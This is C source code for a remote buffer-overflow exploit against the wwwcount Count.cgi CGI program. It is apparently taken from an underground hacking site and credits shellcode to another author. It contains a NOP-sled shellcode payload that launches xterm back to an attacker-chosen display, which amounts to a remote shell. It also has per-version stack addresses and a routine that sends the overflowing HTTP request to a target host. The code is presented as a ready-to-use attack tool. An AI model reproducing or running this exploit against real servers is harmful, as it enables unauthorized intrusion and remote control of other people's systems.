/* -----[ www.TheCyberUnderground.com */ /*############################################################### ################################################################# ## ## This code will exploit a buffer overflow condition in ## /cgi-bin/Count.cgi (the wwwcount feature). ## Shell code and methodology from by Plaguez: ## dube0866@eurobretagne.fr ## ## */ #include #include #include #include #include #include #include #include #include /* Forwards */ unsigned long getsp(int); int usage(char *); void doit(char *,long, char *); /* Constants */ char shell[]= "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\xeb\x3c\x5e\x31\xc0\x89\xf1\x8d\x5e\x18\x88\x46\x2c\x88\x46\x30" "\x88\x46\x39\x88\x46\x4b\x8d\x56\x20\x89\x16\x8d\x56\x2d\x89\x56" "\x04\x8d\x56\x31\x89\x56\x08\x8d\x56\x3a\x89\x56\x0c\x8d\x56\x10" "\x89\x46\x10\xb0\x0b\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xbf" "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff" "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff" "/usr/X11R6/bin/xterm0-ut0-display0"; char endpad[]= "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff" "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"; int main (int argc, char *argv[]){ char *shellcode = NULL; int cnt,ver,retcount, dispnum,dotquads[4],offset; unsigned long sp; char dispname[255]; char *host; offset = sp = cnt = ver = 0; fprintf(stderr,"\t%s - Gus\n",argv[0]); if (argc<3) usage(argv[0]); while ((cnt = getopt(argc,argv,"h:d:v:o:")) != EOF) { switch(cnt){ case 'h': host = optarg; break; case 'd': { retcount = sscanf(optarg, "%d.%d.%d.%d:%d", &dotquads[0], &dotquads[1], &dotquads[2], &dotquads[3], &dispnum); if (retcount != 5) usage(argv[0]); sprintf(dispname, "%03d.%03d.%03d.%03d:%01d", dotquads[0], dotquads[1], dotquads[2],dotquads[3], dispnum); shellcode=malloc(strlen((char *)optarg)+strlen(shell)+strlen(endpad)); sprintf(shellcode,"%s%s%s",shell,dispname,endpad); } break; case 'v': ver = atoi(optarg); break; case 'o': offset = atoi(optarg); break; default: usage(argv[0]); break; } } sp = offset + getsp(ver); (void)doit(host,sp,shellcode); exit(0); } unsigned long getsp(int ver) { /* Get the stack pointer we should be using. YMMV. If it does not work, try using -o X, where x is between -1500 and 1500 */ unsigned long sp=0; if (ver == 15) sp = 0xbfffea50; if (ver == 20) sp = 0xbfffea50; if (ver == 22) sp = 0xbfffeab4; if (ver == 23) sp = 0xbfffee38; /* Dunno about this one */ if (sp == 0) { fprintf(stderr,"I don't have an sp for that version try using the -o option.\n"); fprintf(stderr,"Versions above 24 are patched for this bug.\n"); exit(1); } else { return sp; } } int usage (char *name) { fprintf(stderr,"\tUsage:%s -h host -d -v [-o ]\n",name); fprintf(stderr,"\te.g. %s -h www.foo.bar -d 127.0.0.1:0 -v 22\n",name); exit(1); } int openhost (char *host, int port) { int sock; struct hostent *he; struct sockaddr_in sa; he = gethostbyname(host); if (he == NULL) { perror("Bad hostname\n"); exit(-1); } memcpy(&sa.sin_addr, he->h_addr, he->h_length); sa.sin_port=htons(port); sa.sin_family=AF_INET; sock=socket(AF_INET,SOCK_STREAM,0); if (sock < 0) { perror ("cannot open socket"); exit(-1); } bzero(&sa.sin_zero,sizeof (sa.sin_zero)); if (connect(sock,(struct sockaddr *)&sa,sizeof sa)<0) { perror("cannot connect to host"); exit(-1); } return(sock); } void doit (char *host,long sp, char *shellcode) { int cnt,sock; char qs[7000]; int bufsize = 16; char buf[bufsize]; char chain[] = "user=a"; bzero(buf); for(cnt=0;cnt<4104;cnt+=4) { qs[cnt+0] = sp & 0x000000ff; qs[cnt+1] = (sp & 0x0000ff00) >> 8; qs[cnt+2] = (sp & 0x00ff0000) >> 16; qs[cnt+3] = (sp & 0xff000000) >> 24; } strcpy(qs,chain); qs[strlen(chain)]=0x90; qs[4104]= sp&0x000000ff; qs[4105]=(sp&0x0000ff00)>>8; qs[4106]=(sp&0x00ff0000)>>16; qs[4107]=(sp&0xff000000)>>24; qs[4108]= sp&0x000000ff; qs[4109]=(sp&0x0000ff00)>>8; qs[4110]=(sp&0x00ff0000)>>16; qs[4111]=(sp&0xff000000)>>24; qs[4112]= sp&0x000000ff; qs[4113]=(sp&0x0000ff00)>>8; qs[4114]=(sp&0x00ff0000)>>16; qs[4115]=(sp&0xff000000)>>24; qs[4116]= sp&0x000000ff; qs[4117]=(sp&0x0000ff00)>>8; qs[4118]=(sp&0x00ff0000)>>16; qs[4119]=(sp&0xff000000)>>24; qs[4120]= sp&0x000000ff; qs[4121]=(sp&0x0000ff00)>>8; qs[4122]=(sp&0x00ff0000)>>16; qs[4123]=(sp&0xff000000)>>24; qs[4124]= sp&0x000000ff; qs[4125]=(sp&0x0000ff00)>>8; qs[4126]=(sp&0x00ff0000)>>16; qs[4127]=(sp&0xff000000)>>24; qs[4128]= sp&0x000000ff; qs[4129]=(sp&0x0000ff00)>>8; qs[4130]=(sp&0x00ff0000)>>16; qs[4131]=(sp&0xff000000)>>24; strcpy((char*)&qs[4132],shellcode); sock = openhost(host,80); write(sock,"GET /cgi-bin/Count.cgi?",23); write(sock,qs,strlen(qs)); write(sock," HTTP/1.0\n",10); write(sock,"User-Agent: ",12); write(sock,qs,strlen(qs)); write(sock,"\n\n",2); sleep(1); /* printf("GET /cgi-bin/Count.cgi?%s HTTP/1.0\nUser-Agent: %s\n\n",qs,qs); */ /* setenv("HTTP_USER_AGENT",qs,1); setenv("QUERY_STRING",qs,1); system("./Count.cgi"); */ }